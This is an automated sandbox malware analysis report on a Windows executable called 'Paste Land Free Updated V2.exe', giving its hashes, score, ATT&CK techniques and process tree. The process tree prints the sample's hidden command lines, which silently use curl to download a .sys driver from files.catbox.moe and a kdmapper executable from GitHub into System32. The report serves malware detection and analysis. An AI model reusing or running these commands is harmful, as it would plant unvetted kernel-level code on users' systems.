aee0b8e133979a8534fb9cb3736ba0a9e3b2773f7a6af7ece0a2c06cb875e75b

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
31/08/2026, 12:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Paste Land Free Updated V2.exe
Size 972KB
Sample260831-n84tfa1dmd
SHA256 aee0b8e133979a8534fb9cb3736ba0a9e3b2773f7a6af7ece0a2c06cb875e75b
MD5 366c89a76d4a0961ce50e17bc8cc0065
SHA1 4ecc750baccb1665cdd6ceecb01d4f28a615c6e7
SHA512 7df082d34ee04fb3211ff00d2c3f303779f10861f72c03e353ec1dae27daa305aa09a99c3bc16e209a54420b6b5549c434925261f0c726ad5eee06d46e566e49
SSDEEP 24576:9/TluDUEukNmLw1lnxbyfQC8/1roD0c8i1snBm0dh+YW2e:JTluDUE2sbC8xU51snBJh+z2
TLSH
T1FA25AE54F7F441B4D17BA13899A6EB1FEB36784C0730AADF23D009582FA76E04A76721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

execution

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
20	raw.githubusercontent.com
19	raw.githubusercontent.com

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
936	cmd.exe
2660	cmd.exe
5216	cmd.exe
4272	cmd.exe
2380	cmd.exe
3164	cmd.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 936	4760	Paste Land Free Updated V2.exe	83
PID 4760 wrote to memory of 2660	4760	Paste Land Free Updated V2.exe	84
PID 4760 wrote to memory of 5216	4760	Paste Land Free Updated V2.exe	85
PID 5216 wrote to memory of 1472	5216	cmd.exe	86
PID 4760 wrote to memory of 4272	4760	Paste Land Free Updated V2.exe	87
PID 4272 wrote to memory of 4996	4272	cmd.exe	88
PID 4760 wrote to memory of 2380	4760	Paste Land Free Updated V2.exe	91
PID 4760 wrote to memory of 3164	4760	Paste Land Free Updated V2.exe	92

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	8	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\Paste Land Free Updated V2.exe
"C:\Users\Admin\AppData\Local\Temp\Paste Land Free Updated V2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5216
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - Executes a command shell one-liner
  PID:3164

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads